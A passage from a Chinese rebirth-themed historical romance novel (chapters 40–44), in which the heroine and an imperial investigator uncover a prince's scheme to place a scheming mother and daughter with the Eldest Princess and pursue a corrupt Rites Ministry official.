前世,辰王登基后,赵炳煜应该是不想在新帝手里继续做皇城司使,受他驱使,才摘下面具,露出真容。
从此皇城司解散,他带着兄弟们,一夜之间消失于人前,去了哪里,霍凝玉不知道。
或许真去了边关。
“难怪。”霍鸣羡恍然大悟。
——
江宁母女被谢家护卫从东城门赶出城。
走的速度并不快。
“宁儿,我们去哪里?”杨氏心里没底。
“娘,不用担心,我们走不远,去前面的小镇暂时歇脚。”江宁已经让一个丫鬟去找曾先生,他会想办法让她们留下的。
至少会通知正阳来追她们。
当时她没与夏氏起冲突,就是想在夏氏面前维持形象,以后她嫁入谢家,两人就是婆媳,她不能把人得罪,以后不好相处。
走走停停,走出十几里。
也没等来追她们的人。
江宁心里开始惊慌起来。
难道她派出去的丫鬟没把消息带到?
就在她心烦意乱之际,迎面一辆奢华的马车行来。
二十个护卫,护在马车两旁。
一看就知是大户人家回城。
能用得起二十个护卫的,定是勋贵之家。
杨氏让马车靠边停一停,让对方先过去。
她们母女现在不敢有任何意外。
可就在那队人马从她们旁边经过时,马车里突然传出一声女子的惊叫。
“董郎,你怎么了?”
马车停下。
护卫首领立即问:“公主,发生何事?”
“高义,董公子犯病了。”一个丫鬟撩开帘子回道,“快派人去请大夫。”
“是。”叫高义的护卫立即安排一个护卫打马急速而去。
江宁和杨氏都听到了高义的一声公主。
两人都眼睛一亮,这是个绝好的机会。
母女两人下了马车。
杨氏走上前。
“这位公子,刚才听到马车里有人病了,小妇人懂些医理,可有需要?”杨氏向高义行了一礼,说道。
表现得很得体,只是想帮帮忙而已的姿态。
出来的丫鬟还没进去,听到杨氏的话,立即进了马车说了此事。
“你一个妇道人家,也敢说自己会医,滚开,别挡道。”高义怒声喝斥。
主子是什么人都敢亲近的吗?
高义怎么可能让一个陌生人接近主子。
“高义,公主让她上马车。”丫鬟出来。
“是。”
杨氏被让进护卫圈,但高义的眼睛如鹰隼般紧紧盯着她。
丫鬟在杨氏身上摸了摸,确定她身上只有一个针包,再无其它东西,才让杨氏进马车。
杨氏不敢乱看,恭恭敬敬向正中坐着的华服女子跪下。
“民妇杨玲珑拜见公主殿下。”
只瞟了一眼,她已认出。
原来是当今的嫡大公主,赵明月。
先皇后所出,身份无比尊贵,太子都要叫一声长姐,并行礼问安。
杨氏的心砰砰直跳。
这运气,好到没边。
“你会医?”清冷的声音传来。
“回公主,正是。”杨氏肯定答道。
而且她已经看到旁边正躺着病人,被两个丫鬟用力按住。
病人正全身抽搐、口吐白沫。
“如若你能治好病人,本宫重重有赏。”
杨氏得令,立即行动。
两个丫鬟配合她,让病人侧卧。
“拿些衣物垫在病人头下和后颈,以防他受不住撞击。”杨氏急急说道。
丫鬟立即照办。
在病人头部周围垫了好些柔软的衣物。
杨氏再没做什么,只在心里默默计算着时间。
大约半刻钟不到,病人的抽搐渐缓。
杨氏才慢慢把病人身体顺直,仍然侧躺着。
要等病人不再抽搐,才可用针。
杨氏取出针包,开始为病人施针。
渐渐地,病人安静下来,陷入昏迷。
赵明月见杨氏真有一手针灸之术。
而且这病谁都看得出来
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是痫症,一个不好,会有当场死亡的风险,如吐出的污物堵住呼吸。
赵明月见病人安稳下来,大大松了一口气。
再看杨氏,应对得有条不紊,专注而认真。
是个可用之人。
心里忽生一个想法。
“杨氏,你给本宫把把脉。”赵明月想再试探一下。
她身边虽也有一名医女,但能力有限,真病了还得请太医看诊,没什么大用。
如果有一个医术高明的医女在自己身边,很多事办起来就方便得多。
“是,公主。”杨氏心里一喜。
她要的就是这个机会,没想到来得这么快。
刚才的病人只是一个桥梁。
杨氏早就听说了大公主是什么问题。
搭上赵明月的脉搏,仔细感觉。
须臾,收回手。
“回公主殿下,您身体无甚大碍,只是于子嗣上比较艰难。”杨氏直接说到重点。
引得赵明月神情一震。
“可有治?”赵明月有些急不可待。
“有。不过需花些时日,公主生产过后时日太久。”杨氏说得很肯定。
给了赵明月无限希望。
“好好好。”赵明月很高兴,“高义,把董公子带出去。”
知道自己有望治好身子,赵明月看躺着的男子就有些不怎么在意了。
那不过是她用来排解寂寞的玩意儿。
看他长得好,才宠他几分。
却不想有痫症,今日要不是在马车上突发,她都不知道。
想到此,她心里泛起一阵恶心。
从此刻起,她要好好养身子,治好不孕症,等着她的心上人秦苍霆从边关回来。
当年她一心想嫁秦苍霆,可父皇无论如何也不允,就因秦苍霆是年轻有为的武将。
非要把她嫁给现在的驸马,一个没用的东西。
如果她不嫁,父皇就要送她去东临国和亲。
为了还能见到心上人,她嫁了。
十多年过去,也不知他何时能回朝。
他是否知道,她为他生了一个女儿,还因此再也不能生。
今日遇到杨氏,她终于又有了希望。
她还想为他生个儿子。
想到此,赵明月心情愉悦起来。
要用什么办法才能让心上人回来?这是首要。
第40章 一箭三雕之计
高义把病人带了出去。
赵明月这才仔细看杨氏,衣着不像普通百姓,倒像富贵人家的夫人。
保养得当,看不出实际年龄。
“你说你叫杨玲珑,你是谁家夫人?”赵明月问道。
她没见过杨氏。
听到此话,杨氏“扑通”跪到赵明月面前。
“公主殿下,民妇......”
杨氏眼泪瞬间溢满眼眶,抽泣着把她们母女这些天的遭遇一一说与赵明月听。
当然是站在她自己的立场来讲。
把霍家说得忘恩负义。
她们孤儿寡母,这么多年为了生存不得不寄人篱下,无助又凄凉。
又把女儿与谢正阳之间的感情说得感天动地,然不被认可,今日被忠义伯夫人强行撵出京城,刚走到此处。
说完,哭得好不伤心,身子颤抖。
赵明月这才知杨氏是谁。
霍谢两家的事,她虽在外面,也同样听说了此事。
“你女儿不错,甚合本宫心意,把她叫进来,让本宫看看。”
赵明月对江宁敢于婚前与谢正阳在一起而赞赏。
当年她要是也能如此不顾一切,她与心上人是不是就有不一样的结局。
就凭这一点,她对江宁就喜爱几分。
她欣赏这样有勇气的女子。
为了自己的婚姻不顾一切。
当年她最缺的就是这份勇气,瞻前顾后。
谢正阳都把人吃干抹净了,谢家居然敢不认账,还把人赶出京。
岂有此理。
此事,她管定了。
江宁上了马车,见到车里的贵妇居然是大公主,吓得不敢乱看,慌忙跪下。
她在京城生活了八年,霍凝玉带着她不止一次见过大公主,但从没近距离与之说过话,她的身份还没资格到大公主跟前。
“民女江宁见过大公主。”
“你识得本宫?”赵明月暗自点头。
是个标致的小丫头,与女儿差不多年纪。
“回公主,以前民女曾跟着霍尚书家的霍小姐参加过几次赏花会,远远见过几次。”江宁恭敬回道。
“抬起头来。”
江宁慢慢抬起头,但不敢与公主对视,眼神不知往哪里放,一副小心翼翼的模样,如受惊的小鹿。
她的表现取悦了赵明月。
柔弱之姿,却比她勇敢。
“你与谢正阳的事,本宫早已听说,你们之间的感情真真情比金坚。
你娘说她能治好本宫的不孕之诊,既然如此,本宫就给你一个造化,认你做义女,你们母女随本宫回府,本宫亲自出面向谢家提亲。”
赵明月要让他们有情人终成眷属。
以圆自己心里的那个梦。
希望某一日她也能与心上人终成眷属。
母女俩深深拜下:“谢大公主再造之恩。”
“起来吧,但你们记住,入了我公主府就要守我公主府的规矩,如若行差踏错,等着你们的就是死。”赵明月忽然摆出皇家大公主的气势。
她看中杨氏的医术,才给她们母女这个造化。
大公主在庄子上休养大半年回京的消息很快传遍京城。
赵炳煜最先得到消息,同时也得到大公主收留了江宁母女的消息。
“霍鸣羡偷鸡不成蚀把米,本官还帮了一把。”他叹了口气,自嘲一笑。
他也没想到会这么巧。
“余征,让人查查,大公主为何此时回京,还那么巧遇到**母女。”
世上哪有那么多巧合,他怀疑是人为。
有人想帮**母女。
是谁?
“是,头儿。”
**母女本是小人物,赵炳煜并不关注。
要不是因为霍凝玉,他对那两人连看都不会多看一眼。
然,两个不起眼的小人物却入了大公主的眼。
这就有深意了。
天黑前,余征就查到了所有消息。
“头儿,是辰王安排的。”余征先说重点。
“果然不出本官所料。”赵炳煜眼睛危险地眯起。
霁王与辰王比还是差了些许。
“**母女怎么搭上辰王的?”赵炳煜想到两人的身份,怎么也入不了辰王的眼。
“头儿,那杨氏在霍家这么多年,原来一直隐藏自己的本事。她医术了得。”余征为此也大吃一惊。
一个女人能隐藏这么多年而不露半分也是她的本事。
“哦?”赵炳煜也吃了一惊。
霍家人知不知道?
“谢正阳帮她打听京中各家的情况,得知
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辰王府幕僚曾永信有沉疴,设计曾永信看到她的医术,再引曾永信请她看诊,果真治愈。
曾永信对杨氏的医术十分推崇,推荐给辰王。
辰王想拉拢忠义伯,就安排**母女用巧遇的方式送到大公主身边。
杨氏给大公主诊了脉,说能治好大公主的不孕之症。
引得大公主高兴不已,当场收江宁做义女,许诺会向谢家提亲。”余征继续道。
辰王这招真是用得妙,余征都生出佩服之心。
从此**母女就有了大公主做靠山。
大公主的义女,谢家不敢拒。
而杨氏又能留在大公主府为大公主所用,同时还是辰王的人。
”好一招一箭三雕之计。“赵炳煜也佩服。
”头儿,不是两雕吗?大公主府和忠义伯府。“余征只想到这两家。
“还有远在边关的秦将军。”赵炳煜幽幽叹了一口气。
“对啊,属下把秦将军给忘了。属下估计秦将军应该快回京了,肯定是辰王帮的忙。”余征脑子一转就明白了。
“没错。大公主当年与秦将军的事谁不知道。你再看慧兰县主的长像就知道她是谁的孩子。”赵炳煜摇了摇头。
对王驸马生出淡淡同情。
“头儿,要不要把消息告诉霍家?**母女一得势,定会与霍家对上。”余征想到**母女的嘴脸,心里呸了一口。
不知感恩的东西。
“本官亲自去说。你安排人随时留意大公主府和辰王府,不要让人发现。”赵炳煜交代道。
余征古怪地看了头儿一眼。
这种活,头儿要亲自去?
以前不都是淡淡吩咐一声就完事儿的吗?
但他不敢多说废话。
酉时末,霍家人刚吃完饭,正在讨论今日忠义伯夫人把**母女赶出京的事。
“鸣羡,你说的是真的?”容华芝得知这个消息,笑得合不拢嘴。
“当然是真的,儿子让阿福跟踪到城外,看到**母女的马车走远才回来的。”霍鸣羡很满意自己的计策,虽然赵壑插了一脚,但主意是他想出来的。
**母女无论如何也联想不到他身上。
而就在此时,门房送进来一封信,指名给霍凝玉。
第41章 再次相约
霍凝玉见信封上没有任何字,只起一个包装作用。
抽出展开。
字迹熟悉。
“**母女进了大公主府。明日午时悦景茶楼。”
短短两句话,气得霍凝玉咒骂:“该死的!”
脸色难看。
“大姐,怎么了?”霍鸣昶刚刚夸大哥办事得力,这才几息时间,大姐就变了脸。
“你自己看。”霍凝玉把信递给就坐在身边的弟弟。
霍鸣昶看了,也气得大叫:“当真该死。大哥,你计划那么周密,可惜还是白忙活一场。”
霍鸣羡抢过信,瞬间僵住:“怎么会这样?”
霍鹏程夫妻看了后,还没收住的笑,彻底消失。
霍凝玉眉头紧锁。
她重生也改变不了事情的走向?
江宁还是要嫁入谢家,借助谢家把霍家踩入泥里?
不,不会的。
至少自己没嫁入谢家,她不会在半年后死。
而且她还知道很多别人不知道的事,这就是她的优势。
“父亲,母亲,大哥,二弟,没事的。我们都知道了**母女的野心,以后多防备着。
至少我们知道对手要如何害我们,就能做好提前应对。
我们都能平安的。
赵大人,我会与他好好合作,把一些消息透露给他,他自会帮我们。”
霍凝玉没有悲观多久。
这一世她抱上了赵炳煜的大腿。
他是圣上养大的,只一心为圣上办事。
如果她重生也改变不了太多事情,但她知道圣上至少还有三年可活。
三年时间会发生很多事。
她就不信这么久都不能扳倒辰王。
慢慢筹谋。
“凝玉说得对,我们不怕。”容华芝很乐观。
她相信夫君的本事。
能做到户部尚书,不是谁都有这个能力的。
而且两个儿子也很优秀,明年大儿子就可下场考科举,入了朝,又多了一份力量。
她再找个时间回趟娘家,与老父亲也好好聊聊。
“凝玉,你与赵壑之间,最好保持距离,别让人说闲话。”霍鹏程提醒。
他并不在意江宁嫁入谢家。
反而担心女儿与一个外男走得太近,影响女儿名声。
赵壑不过是圣上手里的一把刀,一般不会有什么好下场。
万一女儿被那小子给骗了感情去,以后可没好日子。
“爹,您想太多了。”霍凝玉一扫之前的郁闷。
家人齐心,其力断金。
翌日。
霍凝玉带着珍珠和玛瑙来到悦景茶楼。
霍鸣羡本想送她来,被霍凝玉拒绝了。
赵大人要见的人是她。
而且赵大人很可能又像上次一样,把大哥赶去楼下。
霍凝玉把丫鬟留在一楼,直接上二楼最后一个雅间。
悦景茶楼本就是赵炳煜的产业,也是他在京城收集消息的地方。
一楼有说书先生,还有吹拉弹唱的艺人。
每日来此的客人不少。
二楼四面都是雅间。
赵炳煜常用的雅间正好在拐角的最里。
一般那个位置只做杂物房,而赵炳煜却用作自己专用。
轻轻敲了敲门。
门从里面打开。
还是上次见到的一样。
赵炳煜一人独饮。
林宇和余征笔挺站在他后面。
“凝玉见过赵大人。”
“坐!”
霍凝玉坐到他对面。
林宇和余征自觉出去,顺手把门带上。
“霍大小姐,你好像不怕本官。”赵炳煜这回主动给霍凝玉沏茶。
“大人又不是老虎,我为什么要怕?”霍凝玉很坦荡。
“哈哈,不错,本官是人。”赵炳煜回味两次抱着霍凝玉时的感觉。
身子娇软。
明明是柔弱的女子,却有那么大勇气以身入局,配合他破普陀庵案。
看到白骨也没表现出任何异样,还大胆上前查看。
霍夫人都不忍直视,而她却还问他小的是什么骨。
此女越来越让他好奇。
“霍大小姐,杨氏会医,你们霍家可知?”赵炳煜收了收心神,开始说正事。
“以前不知,前不久刚知。”霍凝玉就把那日在大街上看到杨氏抓药,她问掌柜的要了药方来看,猜测出来的。
“霍大小姐真是个聪明人,窥一斑而知全豹。”赵炳煜眼神带着欣赏。
“大人,你的意思是,杨氏利用医术接近大公主,从而入了她的眼,才认江宁为义女的?”霍凝玉往这个方向猜。
她一直以为她们母女见谢家这条路走不通,会想办法寻辰王那条路。
“是,也不是。”
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>赵炳煜啜了一口茶,才慢慢说起他查到的。
霍凝玉听得瞠目结舌。
辰王果然聪明。
难怪前世他最终胜出。
看到霍凝玉凝重的表情,赵炳煜莫名升起一丝怜惜。
但他并没有察觉。
“现在,你可以告诉本官,你是怎么知道普陀庵下面的秘密的,还有你那日告诉本官关于林叙卿的事。”
霍凝玉就知道他必定会问。
“赵大人,人会做梦,对吧?而我不知道什么原因,最近总会梦到一些奇怪的事情。
而梦到的那些事,被我验证了几件,都是真的,或者说真实发生。
所以我就知道,我的梦是一种预警。”霍凝玉用一家人商量出来的借口搪塞他。
赵炳煜看着霍凝玉的眼睛,想要看出她是否在撒谎。
可霍凝玉毫不心虚,坦坦荡荡。
四目相对,谁也没有撤退。
最终霍凝玉脸上荡开一抹笑,笑容越来越大。
“赵大人,你一定要相信我,等我下次梦到什么还会再告诉你。”
赵炳煜败下阵来,对她的话信了七分。
“现在我们来说说林叙卿的事。
林叙卿是礼部侍郎。
这么多年,他在京中众人眼里的形象从来都是顾家好男人,对自己的夫人敬重有加,从来不花天酒地。
谨守为官之道,两袖清风。
一身官服可以穿三年不换新。
一心为圣上办事。
肃穆治政,恭谨持身。
林夫人出门也时常一身旧衣,头上也没见几样拿得出手的首饰。
且还没人敢笑话他们一家。
为此,圣上都夸了他数次。
林家人还引以为傲。
女儿出自这样的人家,在别人眼里,就是教养出众,还嫁入了定远侯府。
虽不是长房嫡大公子,二公子也是多少闺中小姐想嫁之人。
但这些都是表象,他利用职务之便,收了不少贿赂,还养了两房外室,两人都给他生了儿子。”霍凝玉娓娓道来。
“此话当真?”赵炳煜不敢相信自己的耳朵。
正如霍凝玉所说,林叙卿在文武百官中是最特殊的一个,圣上多次用他作榜样来鞭笞其他官员。
那日霍凝玉在他耳边只说了一句:“礼部侍郎是个**子,是个败类。”
第42章 这形象,太丢人
霍凝玉之所以挑林叙卿,因为他是辰王的人。
每三年一次的会试,就是林叙卿帮辰王笼络人才的好时机。
他利用职务之便,在考室上做文章。
那些进京赶考的学子,都想分到个好的考室。
有好位置,自然就有差的位置。
私下给了孝敬的,自然分到好位置。
一些寒门学子没有钱,只能忍受着相对恶劣的条件,拼实力。
如茅厕旁,风口处,拐角位置等。
作为主考官之一,考前他对各个学子的能力自是要摸一摸,就知道哪些可能考中。再私下多加关注。
明年三月,林叙卿是怎么做的,她不知道,但再三年后的会试,她什么都看在眼里。
为此她特意跟了林叙卿一段时间,看到他去两个娇美的外室住的小院。
当听到孩子叫爹时,她的灵魂都震动了。
伪装得太好,骗过了所有人。
那么多年都没让林夫人发现。
两个外室分别给他生了一个儿子。
而且两个外室穿着华贵,比林夫人好太多。
“你是不是也被他的表象给骗了?”霍凝玉淡笑着问道。
“你说的这些,都是你梦见的?”赵炳煜虽信了几分。
但却觉得太过匪夷所思。
不梦见与自己有关的事,反而梦见与她毫无关系之人的事。
“没错。”霍凝玉肯定地点头。
“本官需查证一番。”赵炳煜不可能因霍凝玉的梦就去拿人。
礼部侍郎,那是正三品高官。
女儿嫁入定远侯府,定远侯又是辰王的岳丈。
而且他在圣上面前和京中的形象太深入人心,如果没有真凭实据,轻易动不得。
圣上以他为榜样,多次教化朝臣,当以林爱卿为典范楷模。
“没问题。”
霍凝玉又把林叙卿养的两个外室住的地址给了赵炳煜。
她魂飘时看到太多达官显贵养外室。
家里有妻有妾还不够,还要在外面养。
想到这些,越发觉得,还是不嫁人的好。
还是霍家家规好,四十无子方可纳妾。
嫁入霍家的女子有福。
赵炳煜看霍凝玉的眼神更加意味不明,居然连地址都知道。
这梦也太过真实。
让他很怀疑霍凝玉是不是在骗他。
不过,这不重要,只要能根据她说的查出林叙卿的罪行即可。
谈完事,霍凝玉提出告辞。
赵炳煜却阻止。
“本官还没谢你助我破获大案。今日本官请霍大小姐一起用午膳。”赵炳煜邀请。
“咱们不是用条件交换的吗?不用这么客气。”霍凝玉不好意思与一个男子单独用膳。
“霍大小姐不肯赏脸?”赵炳煜声音听不出喜怒。
但霍凝玉却猜出他的脸应该拉了下来。
这话让她无法拒绝。
霍凝玉又坐下。
赵炳煜击掌三声。
林宇开门进来。
“头儿。”
“摆饭。”
没过一会儿,两个男子各端了一个托盘进来,把菜摆上。
整整六道。
就两个人吃。
蟹酿橙,五味烤鹑,莲房鱼包......
每道菜都做得特别精致,看着就有食欲。
“赵大人,这是茶楼,居然也把菜做得这么精致。”霍凝玉看得直流口水。
本就到了用午膳的时间。
赵炳煜什么也没说,拿起筷子给霍凝玉夹了一块莲房鱼包。
“尝尝。”声音温柔,与她大哥有的一比。
可是平时见他都冷若冰霜,今日让她见识到了他的另一面。
“谢谢。”霍凝玉并没有多想,夹起就往嘴里塞。
汁从嘴角流出。
这形象,太丢人。
立即想掏帕子擦擦。
可是一张帕子已经伸到她面前。
明显是男子用的颜色。
顺着伸过来的手,再看向他的脸,只看到赵炳煜认真的眼神。
还有勾起的嘴角。
霍凝玉脸忽然一烫,红了。
快速接过帕子胡乱擦了两下,想把帕子还给他,可是看到帕子被她擦脏了。
不好意思就这样还给他。
伸出去的手又缩回来。
“赵大人,我帮你洗干净再还你。”
“好。”带着笑意的一个好字,让霍凝玉的脸更红了。
她还从没这么尴尬过。
接下来,霍凝玉用不停地吃来掩饰尴尬。
赵炳煜时不时给她夹一筷子菜,而他自己只是偶尔吃一口。
“我吃好了,谢谢赵大人款待。告辞。”霍凝玉如风般溜了。
独留下赵炳煜看着已经不见人影的门口。
他从没与哪个女子如此接触过。
原来女子如此有趣。
林宇和余征两人进来,看到头儿有点呆呆的。
“头儿,霍大小姐已经走了。”林宇提醒。
“头儿,是不是看上霍大小姐了?”余征忽然觉悟。
赵炳煜没接话,而是端起一碗汤
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继续喝。
他现在才开始吃。
“头儿,你也老大不小了,如果想娶妻,霍大小姐是个不错的人选。”余征建议。
“谁说我想娶妻了?”赵炳煜不冷不热道。
“头儿,别不好意思。男大当婚,女大当嫁,这不是很正常的吗?”
赵炳煜没理他,又继续吃菜。
心里起了一丝丝涟漪。
他适合娶妻吗?
以什么身份娶妻?
他没有家,往哪里娶?
除了圣上,没人会关心他娶不娶妻。
无数个问题萦绕在他心头。
没有答案。
霍凝玉的笑脸浮现眼前。
那阳光般的笑容,值得有家的男人。
而他,不适合。
时间很快到了九月初九。
容华芝买了好些菊花回来。
品种各异。
绿云,墨菊,玉壶春,金丝卷帘。
每个院子都放些。
霍凝玉最喜欢金丝卷帘。
兴致来了,她要以此作画。
可她的画技实在牵强,只得请大哥从旁指点。
这一日国子监也放了假,让京里的学子回家陪长辈出门游玩,登高。
而霍家只有霍鹏程夫妻是长辈,再上一辈已经过世。
所以也没去登高,只是每人身上佩戴一株茱萸。
“大姐,这里再画弯一点,不然体现不出菊的神韵。”霍明昶也跑来指点霍凝玉作画。
“是吗?”根据二弟的指点,霍凝玉改变了一下手法,果然更有韵味。
画完一幅,整整花了一个多时辰。
她来了很大的兴趣,还想再画一幅,第二幅居然画得如有神助。
“妹妹,你现在好像学什么都很快嘛。”霍鸣羡发现了这个特质。
“自从我再次回来,好像变聪明了不少。大哥,我打算把琴棋书画再重学一遍,不能让人给比下去。”霍凝玉想到江宁什么都比她学得好。
以前没什么感觉,重来一世,她才知道,要多学些有用的东西,人才会更聪明。
前世,江宁就比她聪明,才早早为自己打算,并利用霍家成就她的姻缘,再攀上辰王,实现她报仇的目的。
而她却像傻子似的,被她们母女利用个彻底,到死方知。
“好,以前的先生已经离了京城,大哥再帮你物色一位更好的先生。”
“多谢大哥。”
这日一家人过得很开心。
只是到了晚上,霍凝玉睡得正香,却莫名感觉有人正盯着她。
第43章 受伤,夜入闺房
被猛地惊醒,果然看到床幔外有影子。
“谁?”
霍凝玉第一时间想到的是有鬼。
她本就做鬼多年,并没有被吓到。
坐起身,掀开帐幔。
一个人影正立在房中间,手里拿着什么东西。
看到是真正的人,霍凝玉反而害怕起来。正要大喊叫人。
“是我。”那人却先出声。
一听声音,霍凝玉就知道是谁了。
披了外衣,把灯点上。
“赵大人,夜闯女子闺房,可不是君子所为。”
霍凝玉怎么也想不到,这个时候他会出现在她的房里。
咦?有血腥味儿。
“你受伤了?”
这才看清,他手里正握着一柄长剑,剑上还有血。
赵炳煜见她镇定自若,并没被他吓得惊慌失措,对霍凝玉更欣赏两分。
走到桌前坐下。
“霍大小姐,你可知林叙卿养的外室有暗卫?”质问的语气。
要不是疏忽了这点,他也不会贸然行事。
“什么?你今晚去夜探了?”霍凝玉回想了一下,当时没发现有暗卫啊。
不对,她是几年后看到的,前世此时她还没死呢。
此时什么情况,她不知道。
她并没有到林叙卿家里看过。故意装出的清贫,林家肯定什么也没有。
“是。”
赵炳煜把自己今晚所遇讲了一遍。
自九月初一那日后,他就派人跟踪林叙卿,直到今日他借口出门访友,晚上不回家为由,才去了两个外室家,两家并不在一起。
上午去一家,下午去一家。
晚上歇在其中一家。
他本想亲自去抓他个现行。
可一靠近他就感觉不对劲,那方小院居然有暗卫守着。
这更加引起了他的好奇。
一个外室而已,为何如此在意。
等到入夜,他才带着余征一探究竟。
结果他看到林叙卿独自一人在书房里开启了一个暗室。
而就在那时,他被发现,双方激战起来。
一交手,赵炳煜才知暗卫武功高强。
他与余征只有两人,不是对手。
且战且退,逃了。
对方却紧追不舍,非要置他于死地不可。
不得已,他与余征分开,才分散了对方的追踪。
他故意往有巡城卫的方向逃才勉强甩掉那几人。
正好离霍家不远,他想不明白之处太多,直接进了霍家找霍凝玉问个清楚。
“你伤得重不重?”霍凝玉有点愧疚。
她提供的消息不准,导致他打草惊蛇。
“无碍,一点皮外伤。”赵炳煜看了看自己的左肩。
霍凝玉移近了灯,看到他的黑衣果然有被浸湿的痕迹。
“我给你包扎一下吧。”
她去衣柜里拿了件新的里衣,撕了。
再轻轻为他脱去外衫,再用剪刀剪开里衣,露出伤口。
一条三寸长的剑伤,正向外汩汩冒着鲜血。
用干净的布巾擦干,新的血液又很快流出。
“身上有药吗?”霍凝玉问。
她一个闺阁女子房里,并没有伤药。
赵炳煜正专注看着她处理伤口。
他受伤不知多少次,这还是第一次有女子帮他处理伤口。
那奇妙的感觉,从没体验过。
她的手轻轻触碰在皮肤上,酥酥麻麻,接着这种感觉流遍全身。
被她一问才回过神。
从身上摸出个瓷瓶递给她。
霍凝玉接过,轻轻撒在伤口上,等到血不再流,才给他包扎。
这期间谁也没有说话,只听到两人的呼吸在静谧的深夜里显得格外清晰。
“好了。”完工,霍凝玉大大松了一口气。
这是她第一次为男人处理伤口,手艺很差,包扎得很丑。
好在伤口不是很严重,不然她就罪过了。
忽然,赵炳煜抬起手,握住了霍凝玉的手。
“你干什么?”霍凝玉吓一跳。
本就孤男寡女独处一室,她又没有武功。
他握住她的手是什么意思?
想用力抽回,可是徒劳,被握得太紧。
赵炳煜拿起没用完的布条,轻轻擦拭霍凝玉的手。
十指修长纤细,洁白如玉的手指上沾着点点血迹,大大影响了美观。
仔仔细细,把她手上沾染的血迹一点点擦干净。
“多谢。”知道了他的意图,霍凝玉不再挣扎。
只是感觉好别扭。
他是外男,又不是自己亲哥。
心,忍不住狂跳。
“你还没回答我刚才的问题。”赵炳煜淡声说道。
“什
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么问题?”霍凝玉有些晕晕乎乎。
“林叙卿在外室院里安排了暗卫。”
“这个我真不知道。一个文官居然有暗卫。我霍家都没有暗卫,只有十个护院。”霍凝玉不知道此事。
越发感觉林叙卿有问题,比自己前世看到的更有问题。
“林大人是什么时候做的礼部侍郎?”霍凝玉问,她已不记得。
“十五年前。”
“那十五年前,他是什么职务?”
“进京前做过知府,调回京后,做过一段时间钦差。”
两人眼睛同时一亮。
“钱。”两人同时出声,想到一块儿去了。
“他肯定把自己的钱全都藏在外室院里,所以他才派人守着,还是暗卫。
由此可见,肯定藏了不少,他应该五十岁了吧,这么多年,不知收受了多少贿赂。真是十足的**子。”霍凝玉越说越来气。
前世此人是辰王最得力的助手之一,为他做了不少事,助辰王成事。
霍家被斩,暗中他也出了不少力。
“快,你现在就去,带人把那小院围了,你已经打草惊蛇,他肯定会转移。”霍凝玉如梦惊醒。
“来不及了,我已经惊了蛇,此时林叙卿已离开。
我现在去抓,他不会承认。
最多把钱财搜出来,那个外室自会说那些钱是她的。她也不会承认与林叙卿有任何关系。”赵炳煜分析道。
“哎,可惜了这么好的机会。”霍凝玉叹气。
“估计他会把钱财转移到更安全的地方。我再派人继续监视。看他会转移到何处。”
“只能如此。希望他转移到自己家里,也不知道林夫人知不知道他在外面的事。”说到此,霍凝玉眼睛一亮。
“对啊,想办法让林夫人发现他养外室,让他的两个外室都暴露出来,看他还怎么装清贫。
然后以此为借口,再以他并不是真正的清官为由,去查他所有财产,包括两个外室的。”霍凝玉越说越兴奋。
认为这个办法天衣无缝。
赵炳煜见她说得欢快,不自觉翘起了嘴角。
真是个聪明的女子。
虽有些稚嫩,但也不失为一个好办法。
“好,就按你说的办。”
“什么意思,你让我去办?”霍凝玉一愣。
第44章 大公主收义女
“本官自会安排人手,如果你也想参与,也未尝不可。
不过也不急,总要给他时间转移钱财,再暴露他的外室。
今夜我已打草惊蛇,他会更加警惕,估计最近不会再去外室那里。”
霍凝玉点头认同。
“打扰了。早些睡吧,说不定今晚你又能梦到些有用的事情。”赵炳煜起身离去。
他本是想来问问霍凝玉是否还知道更具体的事。
然,她不是万能的。
连暗卫都不知道。
他也行事鲁莽了些。
一个穷到官服都能穿三年不换新的清官,他做梦都不会想到,养有暗卫。
霍凝玉被打扰了睡眠,一时睡不着,又仔细回忆魂飘所见,可实在有限。
迷迷糊糊间,她还真做了一个梦,梦见林叙卿偷偷摸摸转移自己这些年存下的银钱。
全是金子。
耀眼夺目。
可是就是看不清他要运去哪里。
但方向好像是东城区,而那个方向正是林家所在方向。
翌日醒来,有些头重脚轻。
“小姐,您怎么了?昨晚没睡好吗?”梳头的珍珠轻声问道。
“是啊,昨晚做了一晚上的梦。”霍凝玉打了个大大的哈欠。
“对了,小姐,玛瑙昨晚值夜,居然睡得跟死猪似的,奴婢都打了水进来,她还睡得流哈喇子。”珍珠笑着说道。
“好啊,珍珠姐姐,你居然在小姐面前上我的眼药。”玛瑙正好去领了早膳进来,就听到同伴在背后说她闲话。
“我说的是事实嘛,平时你都很警觉的,今早却如此没规矩,要不是小姐也睡过了头,你就是失职。”珍珠说得理直气壮。
她们俩是小姐的贴身丫鬟,事事都要以小姐为先,怎么可以在小姐后面醒。
“小姐,奴婢......奴婢的确失职,请小姐责罚。”玛瑙被说得脸红,跪下认错。
连她自己都不知道为什么,就睡过头了,而且还感到脖子疼。
“起来吧,下不为例。”霍凝玉轻轻放过。
心里清楚得很,被赵炳煜点了睡穴呗。
“小姐就是宽厚。”
吃过早膳,霍凝玉去主院请安。
霍家只有嫡子女,没有姨娘庶子女之类的。
容华芝又宠女儿,并不要求她一大早就起床请安,随时去都可以。
“母亲,忙完了吗?要不要一起上街逛逛?”
“凝玉,你先看看这个。”容华芝虽笑着,可脸上带着几分愁容。
手里拿着一张大红请柬。
霍凝玉接过请柬打开一看:“大公主府?”
“是啊,真想不到,她要为江宁办一场正式认女宴,请了京中不少贵妇贵女去观礼。还特意交代我霍家务必赏脸。”容华芝想到那对母女就来气。
白瞎了这么多年的米粮。喂野狗都比喂她们强,至少喂的多了,野狗都不会咬他们。
“母亲,没事的,去就去,我们问心无愧。整个京城谁不知道她们在我们霍家生活了八年。
好吃好喝照顾着她们,却私下勾引我的未婚夫。
也就大公主不明就里,被她们母女给骗了。”霍凝玉无所谓。
不就是还如前世那般,江宁要嫁入谢家吗?
她现在与赵大人关系不错,有些事可就不一定还能如他们的意了。
时间定在五日后。
九月十六。
母女二人精心打扮了一番前往大公主府赴宴。
大公主嫁入王家,但并不住在王府,而是与驸马住在公主府。
大公主是元后所出嫡公主,身份无比尊贵。
而霍凝玉知道她是什么样的人。
前后换了不下五个面首。
驸马不过是个摆设。
而她一直想嫁的是秦苍霆秦将军。就连大公主生的女儿,慧兰县主也是秦将军的。
后来投入辰王阵营,辰王登基后,却并没有满足她的要求,顺利嫁给秦将军。
南楚国的公主,历来不准嫁有实权的男子为妻。
辰王做了皇帝哪还管当初答应她的条件。
因为他还要用秦将军。
霍凝玉母女到时,已经有不少贵妇到了。
门口迎接的嬷嬷一看到霍家的马车,立刻上前。
